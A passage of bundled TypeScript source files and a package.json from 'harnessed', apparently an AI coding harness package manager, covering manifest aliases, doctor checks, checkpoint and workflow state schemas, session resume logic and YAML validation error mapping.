aliases.yaml once per process (memoized). Returns null if file absent.\n * Throws Karpathy fail-loud Error on schema invalid (debug locality). */\nexport function loadAliases(): AliasesV1Type | null {\n if (_cached) return _cached\n if (!existsSync(ALIASES_PATH)) return null\n const raw = readFileSync(ALIASES_PATH, 'utf8')\n const parsed = parse(raw) as unknown\n if (!Value.Check(AliasesV1, parsed)) {\n const errs = [...Value.Errors(AliasesV1, parsed)].slice(0, 3)\n throw new Error(\n `aliases.yaml schema invalid: ${errs.map((e) => `${e.path} ${e.message}`).join('; ')}`,\n )\n }\n _cached = parsed\n return parsed\n}\n\n/** Resolve old → new name redirect; returns null if no alias for the name. */\nexport function resolveAlias(name: string): string | null {\n // R10.4 D-04 hardening site 1 — guard user-controlled name before yaml lookup.\n checkPathSafe(name)\n return loadAliases()?.aliases?.[name]?.redirect ?? null\n}\n\n/** List all deprecated entries (consumer: doctor 7th check). */\nexport function listDeprecations(): Array<{\n old: string\n entry: AliasesV1Type['aliases'][string]\n}> {\n const a = loadAliases()\n return a ? Object.entries(a.aliases).map(([old, entry]) => ({ old, entry })) : []\n}\n","// src/cli/lib/check-deprecations.ts — Phase 3.3 W1 T1.6 — D-02 DOCTOR-ONLY-WARN\n// PRIMARY helper (sister Phase 3.2 W1 T1.4 probe-gstack.ts 48L sister-share\n// extract pattern for Karpathy ≤200L 守门 — keeps doctor.ts ≤200L). Lists\n// deprecated manifests by reading manifests/aliases.yaml (D-01 RICH schema)\n// + emits CheckResult for doctor 7th check warning output. Table format\n// multi-deprecation aggregation per Discretion locked (RESEARCH § 3.2 verbatim).\nimport { listDeprecations } from '../../manifest/aliases.js'\n\nexport interface CheckResult {\n name: string\n status: 'pass' | 'warn' | 'fail'\n message: string\n fix?: string\n}\n\n/** Doctor 7th check: list deprecated manifests from aliases.yaml. D-02 DOCTOR-\n * ONLY-WARN: status='warn' when deprecations exist (install path silently\n * redirects, doctor surface here is human-readable audit). */\nexport function checkDeprecations(): CheckResult {\n try {\n const deprecations = listDeprecations()\n if (deprecations.length === 0) {\n return { name: 'deprecated manifests', status: 'pass', message: 'no deprecated manifests' }\n }\n const lines = deprecations.map(({ old, entry }) => {\n const removal = entry.removal_date ? `, removes ${entry.removal_date}` : ''\n return ` '${old}' → '${entry.redirect}' (since ${entry.since_version}, ${entry.deprecation_date}${removal}; ${entry.reason})`\n })\n return {\n name: 'deprecated manifests',\n status: 'warn',\n message: `${deprecations.length} deprecated manifest(s):\\n${lines.join('\\n')}`,\n fix: 'install paths auto-redirect; consider migrating manifest references to new names',\n }\n } catch (e) {\n return {\n name: 'deprecated manifests',\n status: 'fail',\n message: `aliases.yaml load error: ${(e as Error).message}`,\n fix: 'verify manifests/aliases.yaml schema (see docs/PROJECT-SPEC.md)',\n }\n }\n}\n","// Phase 3.1 Wave 1 T1.2 — checkpoint envelope schema (7th-existing surface,\n// 1st checkpoint-namespace producer). Sister of `src/workflow/schema/phases.ts`\n// (TypeBox `Type.Object` pattern, PATTERNS § 1 #1 90% reuse).\n//\n// IMPL NOTE — `cwd` field is a hard requirement per RESEARCH § 1.3 (Claude\n// Agent SDK session resume binds to the original working directory; resuming\n// from a different cwd silently fails). D-04 WIRE-IN: optional `session_id`\n// captured via `sdkSpawn` `onSessionId` callback (CD-4 closure-ready) and\n// archived in the checkpoint envelope so a future `--resume` can replay.\n//\n// Status is the same 3-state union as `currentWorkflow.v1` (D-02 KARPATHY\n// lock — no FSM lib). Drift across the two unions = test-time mismatch in\n// `tests/checkpoint/schema.test.ts`.\n\nimport { type Static, Type } from '@sinclair/typebox'\nimport { SCHEMA_VERSIONS } from '../../types/schemaVersion.js'\n\n/** 3-state checkpoint status (D-02 KARPATHY lock). Matches `WorkflowStatus`\n * in `currentWorkflow.v1.ts` by convention. */\nexport const CheckpointStatus = Type.Union([\n Type.Literal('active'),\n Type.Literal('paused'),\n Type.Literal('complete'),\n])\n\n/** Checkpoint envelope — execute-task workflow snapshot persisted to\n * `.harnessed/checkpoints/<phase>.json`. Consumers MUST branch on\n * `schemaVersion` via `branchOnSchemaVersion` (CD-5 rule (a)). */\nexport const CheckpointV1 = Type.Object(\n {\n schemaVersion: Type.Literal(SCHEMA_VERSIONS.checkpoint),\n phase: Type.String({ minLength: 1 }),\n status: CheckpointStatus,\n last_task: Type.String(),\n key_decisions: Type.Array(Type.String()),\n canonical_refs: Type.Array(Type.String()),\n /** D-04 WIRE-IN: optional SDK session_id captured via `sdkSpawn`\n * `onSessionId` callback (CD-4 closure-ready) for future `--resume`. */\n session_id: Type.Optional(Type.String()),\n /** RESEARCH § 1.3 critical constraint — SDK session resume requires cwd\n * match; we capture and validate at restore time. */\n cwd: Type.String({ minLength: 1 }),\n timestamp: Type.String({ minLength: 1 }), // ISO-8601 by convention (TypeBox `format` requires Ajv-style format registry; we keep shape-check only — drift caught in writeCheckpoint path)\n archive_path: Type.String({ minLength: 1 }),\n },\n { additionalProperties: false },\n)\n\nexport type CheckpointV1Type = Static<typeof CheckpointV1>\n","// Phase 3.1 Wave 1 T1.2 — current-workflow state machine schema (8th surface).\n// Sister of `checkpoint.v1.ts` (same 3-state union by convention).\n//\n// Persisted to `.harnessed/current-workflow.json` and read by the state\n// machine in `src/checkpoint/state.ts` (T1.3). D-02 KARPATHY 3-state lock\n// (no xstate / robot3 — pure data with 3 transition functions).\n\nimport { type Static, Type } from '@sinclair/typebox'\nimport { SCHEMA_VERSIONS } from '../../types/schemaVersion.js'\n\n/** 3-state workflow status (D-02 KARPATHY lock). Mirrors `CheckpointStatus`\n * in `checkpoint.v1.ts` by convention. */\nexport const WorkflowStatus = Type.Union([\n Type.Literal('active'),\n Type.Literal('paused'),\n Type.Literal('complete'),\n])\n\n/** Current-workflow envelope — singleton state file pointing at the last\n * checkpoint path. `last_checkpoint_path` is nullable on `activate()`\n * before the first checkpoint write. */\nexport const CurrentWorkflowV1 = Type.Object(\n {\n schemaVersion: Type.Literal(SCHEMA_VERSIONS.currentWorkflow),\n phase: Type.String({ minLength: 1 }),\n status: WorkflowStatus,\n last_checkpoint_path: Type.Union([Type.String(), Type.Null()]),\n // ISO-8601 by convention (TypeBox `format` requires Ajv-style registry; shape-check only here, drift surfaces in state.ts writer).\n started_at: Type.String({ minLength: 1 }),\n paused_at: Type.Optional(Type.String({ minLength: 1 })),\n completed_at: Type.Optional(Type.String({ minLength: 1 })),\n },\n { additionalProperties: false },\n)\n\nexport type CurrentWorkflowV1Type = Static<typeof CurrentWorkflowV1>\n","// Phase 3.1 Wave 1 T1.2 — barrel for checkpoint schemas (CD-5 modular sister\n// of `src/manifest/schema/spec.ts`).\nexport * from './checkpoint.v1.js'\nexport * from './currentWorkflow.v1.js'\n","// Phase 3.1 W2 T2.1 — checkpoint template: mechanical writer + budget enforcer\n// (D-01 LOCKED: zero LLM call — pure mechanical assembly + fail-loud truncate).\n//\n// Sister of `src/workflow/loadPhases.ts` (Value.Check validate-and-throw pattern).\n// Budget enforcement strategy (R § 2 R7.2 < 1k token acceptance):\n// Level 1 — truncate `last_task` to first 200 chars\n// Level 2 — truncate `key_decisions` to first 5 items\n// Level 3 — throw CheckpointTooLargeError (fail-loud, do NOT silently drop data)\n// Token estimation: 1 char ≈ 0.25 token via Buffer.byteLength (R § 3 heuristic).\n\nimport { mkdirSync, writeFileSync } from 'node:fs'\nimport { dirname } from 'node:path'\nimport { Value } from '@sinclair/typebox/value'\nimport { CheckpointV1, type CheckpointV1Type } from './schema/index.js'\n\nconst BUDGET_TOKEN = 1000\n\nexport class CheckpointTooLargeError extends Error {\n constructor(message: string) {\n super(message)\n this.name = 'CheckpointTooLargeError'\n }\n}\n\nexport class CheckpointWriteError extends Error {\n constructor(message: string) {\n super(message)\n this.name = 'CheckpointWriteError'\n }\n}\n\n/** Heuristic: 1 char ≈ 0.25 token (English-dominant) — R § 3 estimation strategy.\n * Uses Buffer.byteLength for utf8-accurate length (multibyte glyphs counted right). */\nexport function estimateTokens(s: string): number {\n return Math.ceil(Buffer.byteLength(s, 'utf8') / 4)\n}\n\n/** Fail-loud truncate strategy: try truncate longest fields first; if still over → throw.\n * Order chosen so highest-value fields (canonical_refs, session_id, cwd) are preserved\n * and only narrative-redundant fields (last_task tail, decisions tail) are sacrificed. */\nexport function enforceBudget(c: CheckpointV1Type, budget = BUDGET_TOKEN): CheckpointV1Type {\n let candidate = c\n let tokens = estimateTokens(JSON.stringify(candidate))\n if (tokens <= budget) return candidate\n // Level 1: truncate last_task to first 200 chars\n candidate = { ...candidate, last_task: candidate.last_task.slice(0, 200) }\n tokens = estimateTokens(JSON.stringify(candidate))\n if (tokens <= budget) return candidate\n // Level 2: truncate key_decisions to first 5 items\n candidate = { ...candidate, key_decisions: candidate.key_decisions.slice(0, 5) }\n tokens = estimateTokens(JSON.stringify(candidate))\n if (tokens <= budget) return candidate\n throw new CheckpointTooLargeError(\n `Checkpoint exceeds ${budget}-token budget even after truncation (estimated ${tokens})`,\n )\n}\n\n/** Write checkpoint envelope to `.harnessed/checkpoints/<phase>.json` (or customPath).\n * Throws CheckpointWriteError on schema violation; CheckpointTooLargeError on budget. */\nexport function writeCheckpoint(c: CheckpointV1Type, customPath?: string): string {\n if (!Value.Check(CheckpointV1, c)) {\n const errs = [...Value.Errors(CheckpointV1, c)].map((e) => e.message).join('; ')\n throw new CheckpointWriteError(`Schema validation failed: ${errs}`)\n }\n const enforced = enforceBudget(c)\n const path = customPath ?? `.harnessed/checkpoints/${enforced.phase}.json`\n mkdirSync(dirname(path), { recursive: true })\n writeFileSync(path, JSON.stringify(enforced, null, 2), 'utf8')\n return path\n}\n","// Phase 3.4 W1 T1.1 — D-03 BUFFER /4 + D-04 DOCTOR WARN PRIMARY helper. Sister\n// Phase 3.3 W1 T1.6 check-deprecations.ts 43L. Scans ~/.claude/skills + repo\n// skills/ SKILL.md frontmatter description tokens via Phase 3.1 D-01\n// estimateTokens (Buffer.byteLength /4 zero-dep heuristic). Karpathy ≤40L hard.\nimport { existsSync, readdirSync, readFileSync } from 'node:fs'\nimport { homedir } from 'node:os'\nimport { join } from 'node:path'\nimport { estimateTokens } from '../../checkpoint/template.js'\nimport type { CheckResult } from './check-deprecations.js'\n\nconst CONTEXT_WINDOW_TOKENS = 200_000\nconst TOTAL_THRESHOLD = 2_000 // 1% of 200k\nconst PER_SKILL_THRESHOLD = 5_000\n\nfunction scanSkillsDir(root: string): { name: string; tokens: number }[] {\n if (!existsSync(root)) return []\n return readdirSync(root).flatMap((name) => {\n const md = join(root, name, 'SKILL.md')\n if (!existsSync(md)) return []\n const fm = readFileSync(md, 'utf8').match(/^---\\n([\\s\\S]*?)\\n---/)?.[1] ?? ''\n const desc = fm.match(/^description:\\s*(.+)$/m)?.[1] ?? ''\n return [{ name, tokens: estimateTokens(desc) }]\n })\n}\n\nexport function checkTokenBudget(): CheckResult {\n const roots = [join(homedir(), '.claude', 'skills'), join(process.cwd(), 'skills')]\n const items = roots.flatMap(scanSkillsDir)\n const total = items.reduce((s, i) => s + i.tokens, 0)\n const over = items.filter((i) => i.tokens > PER_SKILL_THRESHOLD).length\n if (total <= TOTAL_THRESHOLD && over === 0) {\n const msg = `${items.length} skill(s) total ${total} tokens (under 1% / 2000 threshold)`\n return { name: 'token budget', status: 'pass', message: msg }\n }\n const top = [...items]\n .sort((a, b) => b.tokens - a.tokens)\n .slice(0, 3)\n .map((t) => `${t.name}:${t.tokens}`)\n .join(', ')\n const pct = ((total / CONTEXT_WINDOW_TOKENS) * 100).toFixed(2)\n const message = `${items.length} skill(s) total ${total} tokens (${pct}% of 200000) — top: ${top}`\n return {\n name: 'token budget',\n status: 'warn',\n message,\n fix: 'shorten verbose skill descriptions OR review per-skill > 5000 tokens',\n }\n}\n","// Phase 3.1 W1 T1.3 — workflow state machine (D-02 KARPATHY 3-state, no FSM\n// lib). Sister of `src/workflow/loadPhases.ts` (Value.Check validate-and-throw).\n// Persists singleton state to `.harnessed/current-workflow.json`. Hard limit\n// ≤ 80L per D-02 (3 transitions + read/write helpers).\n// Phase 5.1 W2 T2.2 — R10.2 concurrent write lock (D-05+D-06+D-07+D-08 LOCKED)\n// proper-lockfile dir-level lock `.harnessed/.lock` wraps writeCurrentWorkflow.\n// W-01 PLAN-CHECK Path A: state.ts self-locks; engineHook acquires transitively.\n\nimport { mkdir, readFile, writeFile } from 'node:fs/promises'\nimport { dirname } from 'node:path'\nimport { Value } from '@sinclair/typebox/value'\nimport lockfile from 'proper-lockfile'\nimport { branchOnSchemaVersion, SCHEMA_VERSIONS } from '../types/schemaVersion.js'\nimport { CurrentWorkflowV1, type CurrentWorkflowV1Type } from './schema/index.js'\n\nconst STATE_PATH = '.harnessed/current-workflow.json'\nconst LOCK_TARGET = '.harnessed'\nconst LOCK_OPTS = {\n stale: 10_000,\n retries: { retries: 3, factor: 2, minTimeout: 100 },\n lockfilePath: '.harnessed/.lock',\n}\n\nexport class WorkflowStateError extends Error {\n constructor(message: string) {\n super(message)\n this.name = 'WorkflowStateError'\n }\n}\n\n/** Thrown when another harnessed process holds the .harnessed/.lock (D-06 LOCKED). */\nexport class LockHeldError extends Error {\n constructor() {\n super(\n 'another harnessed process holds the lock at .harnessed/.lock — wait or kill stale process (try: harnessed status)',\n )\n this.name = 'LockHeldError'\n Object.setPrototypeOf(this, LockHeldError.prototype)\n }\n}\n\n/** Acquire dir-level lock then run fn(); release in finally (D-05+D-06+D-08). */\nasync function withLock<T>(fn: () => Promise<T>): Promise<T> {\n let release: (() => Promise<void>) | undefined\n try {\n release = await lockfile.lock(LOCK_TARGET, LOCK_OPTS)\n } catch (e) {\n if ((e as NodeJS.ErrnoException).code === 'ELOCKED') throw new LockHeldError()\n throw e\n }\n try {\n return await fn()\n } finally {\n await release?.()\n }\n}\n\n/** Read state; returns null on missing/corrupt/unknown-version (CD-5 rule (b)\n * fail-soft). Throws only via writeCurrentWorkflow on known-version drift. */\nexport async function readCurrentWorkflow(): Promise<CurrentWorkflowV1Type | null> {\n let raw: string\n try {\n raw = await readFile(STATE_PATH, 'utf8')\n } catch {\n return null\n }\n let parsed: unknown\n try {\n parsed = JSON.parse(raw)\n } catch {\n return null\n }\n const v = (parsed as { schemaVersion?: string }).schemaVersion ?? ''\n return branchOnSchemaVersion(v, {\n v1: () => (Value.Check(CurrentWorkflowV1, parsed) ? (parsed as CurrentWorkflowV1Type) : null),\n unknown: () => null,\n })\n}\n\n/** Write state with self-validate (loadPhases.ts pattern); creates parent dir;\n * acquires dir-level lock (D-05+D-08) before writeFile (R10.2 concurrent safety). */\nexport async function writeCurrentWorkflow(s: CurrentWorkflowV1Type): Promise<void> {\n if (!Value.Check(CurrentWorkflowV1, s)) {\n const errs = [...Value.Errors(CurrentWorkflowV1, s)].map((e) => e.message).join('; ')\n throw new WorkflowStateError(`current-workflow schema validation failed: ${errs}`)\n }\n await mkdir(dirname(STATE_PATH), { recursive: true })\n await withLock(async () => {\n await writeFile(STATE_PATH, JSON.stringify(s, null, 2), 'utf8')\n })\n}\n\n/** Transition 1/3 — start a new workflow for `phase`. */\nexport async function activate(phase: string, checkpointPath: string | null = null): Promise<void> {\n await writeCurrentWorkflow({\n schemaVersion: SCHEMA_VERSIONS.currentWorkflow,\n phase,\n status: 'active',\n last_checkpoint_path: checkpointPath,\n started_at: new Date().toISOString(),\n })\n}\n\n/** Transition 2/3 — pause active workflow; preserves started_at. */\nexport async function pause(): Promise<void> {\n const s = await readCurrentWorkflow()\n if (!s) return\n await writeCurrentWorkflow({ ...s, status: 'paused', paused_at: new Date().toISOString() })\n}\n\n/** Transition 3/3 — complete active/paused workflow; preserves timestamps. */\nexport async function complete(): Promise<void> {\n const s = await readCurrentWorkflow()\n if (!s) return\n await writeCurrentWorkflow({ ...s, status: 'complete', completed_at: new Date().toISOString() })\n}\n","// src/manifest/schema/known-good.v1.ts — Phase 3.3 W1 T1.3 (D-03 YAML manifest 13th surface).\n// Sister Phase 3.2 W1 T1.3 (governance.ts) + sister T1.2 aliases.v1.ts shape.\n// YAML manifest rejected JSON (项目未用 npm-lock + yaml convention) + Embed-in-\n// manifest (跨 manifest agg 难, R7.6 \"harnessed 版本冻结一组\" scope mismatch).\n// Manifest-domain colocation: src/manifest/schema/. install_method 字符串非 enum\n// (Karpathy YAGNI 防 schema drift 加耦 — Phase 2.X 6 install method 可能继续扩;\n// sister spec.ts InstallType union 仅作 doc reference 不强 link).\n\nimport { type Static, Type } from '@sinclair/typebox'\nimport { SCHEMA_VERSIONS } from '../../types/schemaVersion.js'\n\nexport const PinnedUpstream = Type.Object(\n {\n name: Type.String({ minLength: 1 }),\n version: Type.String({ minLength: 1 }),\n install_method: Type.String({ minLength: 1 }), // npm-cli / mcp-stdio-add / etc per Phase 2.X\n },\n { additionalProperties: false },\n)\n\nexport const KnownGoodV1 = Type.Object(\n {\n schemaVersion: Type.Literal(SCHEMA_VERSIONS.knownGood), // 'harnessed.known-good.v1'\n harnessed_version: Type.String({ pattern: '^\\\\d+\\\\.\\\\d+\\\\.\\\\d+$' }), // semver strict\n e2e_verified_at: Type.String({ pattern: '^\\\\d{4}-\\\\d{2}-\\\\d{2}$' }), // ISO date pattern\n upstreams: Type.Array(PinnedUpstream),\n },\n { additionalProperties: false },\n)\n\nexport type PinnedUpstreamType = Static<typeof PinnedUpstream>\nexport type KnownGoodV1Type = Static<typeof KnownGoodV1>\n","// src/manifest/knownGood.ts — Phase 3.3 W1 T1.5 — D-03 YAML manifest consumer.\n// Sister src/manifest/aliases.ts (fail-soft read + Value.Check + memoize).\n// Path: versions/<harnessed-ver>-known-good.yaml (sister manifests/tools/\n// <name>.yaml install.ts L66 path 范式). Lazy read per-harnessed-ver\n// (Karpathy YAGNI per planner CONTEXT Discretion lock — only pay cost when\n// --known-good flag triggers consume).\n\nimport { existsSync, readFileSync } from 'node:fs'\nimport { join } from 'node:path'\nimport { Value } from '@sinclair/typebox/value'\nimport { parse } from 'yaml'\nimport { KnownGoodV1, type KnownGoodV1Type } from './schema/known-good.v1.js'\n\nconst versionsDir = (): string => join(process.cwd(), 'versions')\n\nconst _cache = new Map<string, KnownGoodV1Type | null>()\n\n/** Load versions/<harnessedVer>-known-good.yaml; memoized per harnessedVer.\n * Returns null if file absent. Throws Karpathy fail-loud on schema invalid. */\nexport function loadKnownGood(harnessedVer: string): KnownGoodV1Type | null {\n if (_cache.has(harnessedVer)) return _cache.get(harnessedVer) ?? null\n const path = join(versionsDir(), `${harnessedVer}-known-good.yaml`)\n if (!existsSync(path)) {\n _cache.set(harnessedVer, null)\n return null\n }\n const raw = readFileSync(path, 'utf8')\n const parsed = parse(raw) as unknown\n if (!Value.Check(KnownGoodV1, parsed)) {\n const errs = [...Value.Errors(KnownGoodV1, parsed)].slice(0, 3)\n throw new Error(\n `${path} schema invalid: ${errs.map((e) => `${e.path} ${e.message}`).join('; ')}`,\n )\n }\n _cache.set(harnessedVer, parsed)\n return parsed\n}\n\n/** Get pinned version for an upstream name + harnessed version. */\nexport function getPinnedVersion(upstreamName: string, harnessedVer: string): string | null {\n const kg = loadKnownGood(harnessedVer)\n if (!kg) return null\n const entry = kg.upstreams.find((u) => u.name === upstreamName)\n return entry?.version ?? null\n}\n","// Phase 3.1 W4 T4.3 — resume logic (D-03 RELOAD locked: stdout output, no spawn).\n// Sister: src/cli/doctor.ts --json flag + src/workflow/loadPhases.ts TypeBox validate.\n// CD-5 single 兼容门: branchOnSchemaVersion delegates unknown-version graceful degrade.\n// § 1.3 cwd guard: warn if checkpoint.cwd !== process.cwd() (SDK session resume may fail).\n\nimport { readFile } from 'node:fs/promises'\nimport { Value } from '@sinclair/typebox/value'\nimport { branchOnSchemaVersion } from '../types/schemaVersion.js'\nimport { CheckpointV1, type CheckpointV1Type } from './schema/index.js'\nimport { readCurrentWorkflow } from './state.js'\n\nexport type ResumeResult =\n | { status: 'no-paused-phase'; error: string }\n | { status: 'corrupt'; error: string; path: string }\n | { status: 'ok'; checkpoint: CheckpointV1Type; cwdWarn?: string; resumeHint: string }\n\nexport async function runResume(): Promise<ResumeResult> {\n const current = await readCurrentWorkflow()\n if (!current) {\n return { status: 'no-paused-phase', error: 'no .harnessed/current-workflow.json found' }\n }\n if (current.status !== 'paused') {\n return {\n status: 'no-paused-phase',\n error: `workflow status is '${current.status}', not 'paused'`,\n }\n }\n if (!current.last_checkpoint_path) {\n return { status: 'corrupt', error: 'last_checkpoint_path missing', path: '' }\n }\n const path = current.last_checkpoint_path\n let raw: string\n try {\n raw = await readFile(path, 'utf8')\n } catch (e) {\n return { status: 'corrupt', error: `checkpoint missing: ${(e as Error).message}`, path }\n }\n let parsed: unknown\n try {\n parsed = JSON.parse(raw)\n } catch (e) {\n return {\n status: 'corrupt',\n error: `checkpoint JSON parse failed: ${(e as Error).message}`,\n path,\n }\n }\n const v = (parsed as { schemaVersion?: string }).schemaVersion ?? ''\n const validated = branchOnSchemaVersion<CheckpointV1Type | null>(v, {\n v1: () => (Value.Check(CheckpointV1, parsed) ? (parsed as CheckpointV1Type) : null),\n unknown: () => null,\n })\n if (!validated) {\n const errs = [...Value.Errors(CheckpointV1, parsed)].map((e) => e.message).join('; ')\n return { status: 'corrupt', error: `checkpoint schema validation failed: ${errs}`, path }\n }\n const cwd = process.cwd()\n const cwdWarn =\n validated.cwd !== cwd\n ? `⚠ checkpoint cwd '${validated.cwd}' ≠ current cwd '${cwd}' — SDK session resume may fail (§ 1.3); fresh-session fallback`\n : undefined\n const sidHint = validated.session_id\n ? ` (session_id: ${validated.session_id} — SDK will redirect to original session)`\n : ' (fresh session — context reloaded from checkpoint)'\n const resumeHint = `→ in Claude Code: /gsd-execute-phase ${validated.phase}${sidHint}`\n return { status: 'ok', checkpoint: validated, ...(cwdWarn ? { cwdWarn } : {}), resumeHint }\n}\n","{\n \"name\": \"harnessed\",\n \"version\": \"1.0.1\",\n \"description\": \"AI coding harness package manager + composition orchestrator\",\n \"type\": \"module\",\n \"license\": \"Apache-2.0\",\n \"author\": \"easyinplay\",\n \"repository\": {\n \"type\": \"git\",\n \"url\": \"https://github.com/easyinplay/harnessed.git\"\n },\n \"homepage\": \"https://github.com/easyinplay/harnessed#readme\",\n \"bugs\": \"https://github.com/easyinplay/harnessed/issues\",\n \"keywords\": [\n \"claude-code\",\n \"ai-harness\",\n \"package-manager\",\n \"composition\",\n \"skill-pack\",\n \"mcp\",\n \"orchestrator\"\n ],\n \"engines\": {\n \"node\": \">=22.0.0\"\n },\n \"packageManager\": \"pnpm@10.12.0\",\n \"bin\": {\n \"harnessed\": \"./dist/cli.mjs\"\n },\n \"main\": \"./dist/index.mjs\",\n \"types\": \"./dist/index.d.ts\",\n \"exports\": {\n \".\": {\n \"types\": \"./dist/index.d.ts\",\n \"import\": \"./dist/index.mjs\",\n \"default\": \"./dist/index.mjs\"\n },\n \"./schemas\": {\n \"types\": \"./dist/schemas/index.d.ts\",\n \"import\": \"./dist/schemas/index.mjs\"\n },\n \"./package.json\": \"./package.json\"\n },\n \"files\": [\n \"dist\",\n \"manifests\",\n \"workflows\",\n \"routing\",\n \"config-templates\",\n \"schemas\",\n \"README.md\",\n \"LICENSE\",\n \"NOTICE\"\n ],\n \"scripts\": {\n \"dev\": \"tsup --watch\",\n \"build\": \"tsc --noEmit && tsup\",\n \"build:schema\": \"node ./scripts/build-schema.mjs\",\n \"validate:schema\": \"node ./scripts/validate-schema.mjs\",\n \"typecheck\": \"tsc --noEmit\",\n \"test\": \"vitest run --passWithNoTests\",\n \"test:watch\": \"vitest\",\n \"test:coverage\": \"vitest run --coverage --passWithNoTests\",\n \"bench\": \"vitest bench --run\",\n \"lint\": \"biome check .\",\n \"lint:fix\": \"biome check --write .\",\n \"format\": \"biome format --write .\"\n },\n \"dependencies\": {\n \"@anthropic-ai/claude-agent-sdk\": \"0.3.142\",\n \"@clack/prompts\": \"^0.10.1\",\n \"@sinclair/typebox\": \"^0.34.49\",\n \"ajv\": \"^8.20.0\",\n \"ajv-errors\": \"^3.0.0\",\n \"ajv-formats\": \"^3.0.1\",\n \"commander\": \"^13.0.0\",\n \"diff\": \"^9.0.0\",\n \"picocolors\": \"^1.1.1\",\n \"proper-lockfile\": \"^4.1.2\",\n \"yaml\": \"^2.9.0\"\n },\n \"devDependencies\": {\n \"@biomejs/biome\": \"^2.0.0\",\n \"@types/node\": \"^22.10.0\",\n \"@types/proper-lockfile\": \"^4.1.4\",\n \"@vitest/coverage-v8\": \"^4.0.0\",\n \"tsup\": \"^8.3.0\",\n \"typescript\": \"^5.6.0\",\n \"vitest\": \"^4.0.0\"\n },\n \"pnpm\": {\n \"onlyBuiltDependencies\": [\n \"esbuild\"\n ]\n }\n}\n","// Friendly error mapping per ADR 0001 + GA-1 § validator entry.\n// Translates Ajv `ErrorObject[]` and yaml parse errors into a uniform\n// `ValidationError` shape with path + keyword + line/column.\n// T4.3 adds yaml LineCounter + doc.getIn() for precise source location.\n\nimport type { ErrorObject } from 'ajv'\nimport type { Document, LineCounter, Node } from 'yaml'\n\nexport interface ValidationError {\n file: string\n path: string\n message: string\n line: number | null\n column: number | null\n keyword: string\n}\n\n/**\n * Translate a JSON Pointer instancePath (\"/spec/install/method\") into the\n * key-path array yaml@2 expects (\"spec\", \"install\", \"method\"). Numeric\n * segments are coerced for sequence indexing.\n */\nfunction instancePathToKeyPath(instancePath: string): Array<string | number> {\n if (!instancePath || instancePath === '/') return []\n return instancePath\n .split('/')\n .filter(Boolean)\n .map((seg) => {\n const n = Number(seg)\n return Number.isInteger(n) && String(n) === seg ? n : seg\n })\n}\n\n/**\n * Resolve `instancePath` to a yaml node by walking the parsed Document, then\n * convert the node's start offset to a 1-indexed `{ line, col }` via the\n * supplied LineCounter. Returns `{ null, null }` if the node cannot be located\n * (e.g. when validation reports a missing field, the node never existed).\n */\nfunction locateLineFromDoc(\n doc: Document.Parsed,\n lineCounter: LineCounter,\n instancePath: string,\n): { line: number | null; column: number | null } {\n const path = instancePathToKeyPath(instancePath)\n // For empty path the document root sits at offset 0.\n let node: unknown\n if (path.length === 0) {\n node = doc.contents\n } else {\n node = doc.getIn(path, true)\n }\n\n if (!node || typeof node !== 'object') return { line: null, column: null }\n const range = (node as Node).range\n if (!range) return { line: null, column: null }\n\n const offset = range[0]\n const pos = lineCounter.linePos(offset)\n return { line: pos.line, column: pos.col }\n}\n\n/**\n * Map an Ajv error to ValidationError. When `doc` + `lineCounter` are supplied,\n * line/column are populated from the yaml CST.\n */\nexport function ajvErrorToFriendly(\n err: ErrorObject,\n file: string,\n doc?: Document.Parsed,\n lineCounter?: LineCounter,\n): ValidationError {\n let path = err.instancePath || '/'\n const params = err.params as Record<string, unknown> | undefined\n if (\n err.keyword === 'additionalProperties' &&\n params &&\n typeof params.additionalProperty === 'string'\n ) {\n path = `${path}/${params.additionalProperty}`\n } else if (err.keyword === 'required' && params && typeof params.missingProperty === 'string') {\n path = `${path}/${params.missingProperty}`\n }\n\n let line: number | null = null\n let column: number | null = null\n if (doc && lineCounter) {\n // For required-field errors the missing field has no node; resolve to the\n // parent path instead so the user is pointed at the parent block.\n const lookupPath = err.keyword === 'required' ? err.instancePath || '/' : path\n const loc = locateLineFromDoc(doc, lineCounter, lookupPath)\n line = loc.line\n column = loc.column\n }\n\n return {\n file,\n path,\n message: err.message ?? 'unknown error',\n line,\n column,\n keyword: err.keyword,\n }\n}\n\nexport interface YamlParseLike {\n message: string\n linePos?: ReadonlyArray<{ line: number; col: number }>\n}\n\nexport function yamlParseErrorToFriendly(err: YamlParseLike, file: string): ValidationError {\n return {\n file,\n path: '/',\n message: err.message,\n line: err.linePos?.[0]?.line ?? null,\n column: err.linePos?.[0]?.col ?? null,\n keyword: 'yaml-parse',\n }\n}\n","// Metadata sub-schema per ADR 0001 § Top-level structure.\n// Fields: apiVersion (Literal harnessed/v1), kind (Literal Manifest),\n// metadata.{name, display_name?, description, upstream{...}}.\n\nimport { Type } from '@sinclair/typebox'\n\nexport const ApiVersion = Type.Literal('harnessed/v1')\nexport const Kind = Type.Literal('Manifest')\n\n// SPDX whitelist per ADR 0001 line 51.\n// ADR 0010 errata — license whitelist extension (D-03/D-05). `MIT-0` (MIT No\n// Attribution, SPDX-registered) added for baoyu-skills; `anthropics-official`\n// carve-out added for anthropics/skills monorepo sub-skills (frontend-design /\n// document-skills / webapp-testing) which have no per-skill LICENSE file.\nconst SpdxLicense = Type.Union([\n Type.Literal('MIT'),\n Type.Literal('Apache-2.0'),\n Type.Literal('BSD-3-Clause'),\n Type.Literal('ISC'),\n Type.Literal('0BSD'),\n Type.Literal('MIT-0'),\n Type.Literal('anthropics-official'),\n])\n\n// ADR 0010 errata — license provenance audit field (D-04). Records where the\n// license info was sourced from so it can be mechanically audited. Optional —\n// additive only, A7' 8-pillar safe (no existing manifest broken).\nconst LicenseSource = Type.Union([\n Type.Literal('README'),\n Type.Literal('registry'),\n Type.Literal('none'),\n Type.Literal('anthropics-official'),\n])\n\nconst Upstream = Type.Object(\n {\n source: Type.String({ minLength: 1 }),\n homepage: Type.String({ format: 'uri' }),\n repository: Type.String({ format: 'uri' }),\n license: SpdxLicense,\n license_source: Type.Optional(LicenseSource),\n notice: Type.String({ minLength: 1, maxLength: 500 }),\n },\n { additionalProperties: false },\n)\n\nexport const MetadataSchema = Type.Object(\n {\n name: Type.String({ pattern: '^[a-z0-9][a-z0-9-]*$', minLength: 1 }),\n display_name: Type.Optional(Type.String()),\n description: Type.String({ minLength: 1, maxLength: 120 }),\n upstream: Upstream,\n },\n { additionalProperties: false },\n)\n","// install.method = cc-hook-add per ADR 0001 type×method matrix + Phase 2.4 W3 T3.1 (D-04 § 3.1).\n//\n// IMPL NOTE (Phase 2.4 W3 / R2.4.4): Claude Code SessionStart / UserPromptSubmit 